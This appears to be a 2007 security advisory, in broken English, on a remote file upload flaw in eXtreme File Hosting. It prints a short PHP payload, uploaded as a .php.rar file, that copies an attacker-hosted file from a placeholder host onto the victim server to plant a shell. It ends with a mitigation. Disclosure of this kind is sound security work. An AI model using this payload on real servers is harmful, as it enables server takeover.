Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16014
HistoryFeb 11, 2007 - 12:00 a.m.

eXtreme File Hosting remote file upload vulnerability

2007-02-1100:00:00
vulners.com
18

A security bug have been discovered in eXtreme File Hosting, which can be upload the attaker files and can get the shell with phpshell.

bug : in this borgram with php can user upload zip or rar file hacker can upload the a.php.rar file that contain

###########################
<?php
$file = 'http://sample.com/evile_file.php&#39;;
$newfile = 'evile_file.php';
if (!copy($file, $newfile)) {
echo "failed to copy $file…\n";
}else{
echo "OK file copy in victim host";
}
?>
###########################

and upload it the click in download link then this file run and dont download
after run a.php.rar the evile_file.php copy in victim host and attacker can use for hacking server.

Solution: disable rar file uploading in setting
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
software: eXtreme File Hosting
site: http://www.extremepow.com
Reported By: : hamed bazargani ([email protected]) From I.R.IRAN and all iranian whitehat hacker